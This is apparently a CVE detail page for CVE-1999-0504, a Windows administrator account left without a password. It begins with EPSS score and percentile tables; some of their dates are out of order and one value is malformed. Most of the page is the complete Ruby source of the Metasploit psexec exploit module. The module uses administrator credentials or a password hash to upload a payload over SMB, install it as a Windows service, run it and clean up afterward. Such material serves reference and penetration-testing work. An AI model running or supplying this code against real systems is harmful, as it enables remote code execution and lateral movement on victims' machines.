CVE-1999-0504 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	41.11%	–	–
2023-03-12	–	–	–	0.55%	–
2023-09-03	–	–	–	0.55%	–
2024-02-11	–	–	–	0.55%	–
2024-06-02	–	–	–	0.55%	–
2024-06-23	–	–	–	0.55%	–
2024-12-22	–	–	–	0.55%	–
2025-02-09	–	–	–	0.55%	–
2025-01-19	–	–	–	0.55%	–
2025-02-16	–	–	–	0.55%	–
2025-03-18	–	–	–	–	31.34%
2025-03-30	–	–	–	–	36%
2025-03-30	–	–	–	–	36,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	74%
2023-09-03	75%
2024-02-11	77%
2024-06-02	77%
2024-06-23	78%
2024-12-22	77%
2025-02-09	78%
2025-01-19	77%
2025-02-16	78%
2025-03-18	96%
2025-03-30	97%
2025-03-30	97%

## # $Id: psexec.rb 11204 2010-12-02 17:29:26Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Authenticated User Code Execution', 'Description' => %q{ This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. }, 'Author' => [ 'hdm', ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11204 $', 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, # For the CVE, PsExec was first released around February or March 2001 'DisclosureDate' => 'Jan 01 1999' )) register_advanced_options( [ OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]) ], self.class) end def exploit print_status("Connecting to the server...") connect() print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login() if (not simple.client.auth_user) print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") disconnect return end if datastore['DB_REPORT_AUTH'] report_hash = { :host => datastore['RHOST'], :port => datastore['RPORT'], :sname => 'smb', :user => datastore['SMBUser'], :pass => datastore['SMBPass'], :active => true } if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ report_hash.merge!({:type => 'smb_hash'}) else report_hash.merge!({:type => 'password'}) end report_auth_info(report_hash) end filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) # Upload the shellcode to a file print_status("Uploading payload...") simple.connect("ADMIN$") fd = simple.open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename } if (datastore['PAYLOAD'].include? 'x64') opts.merge!({ :arch => ARCH_X64 }) end exe = generate_payload_exe_service(opts) fd << exe fd.close print_status("Created \\#{filename}...") # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") # Connect to the IPC service simple.connect("IPC$") # Bind to the service handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## displayname = 'M' + rand_text_alpha(rand(32)+1) svc_handle = nil svc_status = nil print_status("Creating a new service (#{servicename} - \"#{displayname}\")...") stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") return end ## # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end begin print_status("Deleting \\#{filename}...") select(nil, nil, nil, 1.0) simple.connect("ADMIN$") simple.delete("\\#{filename}") rescue ::Interrupt raise $! rescue ::Exception end handler disconnect end end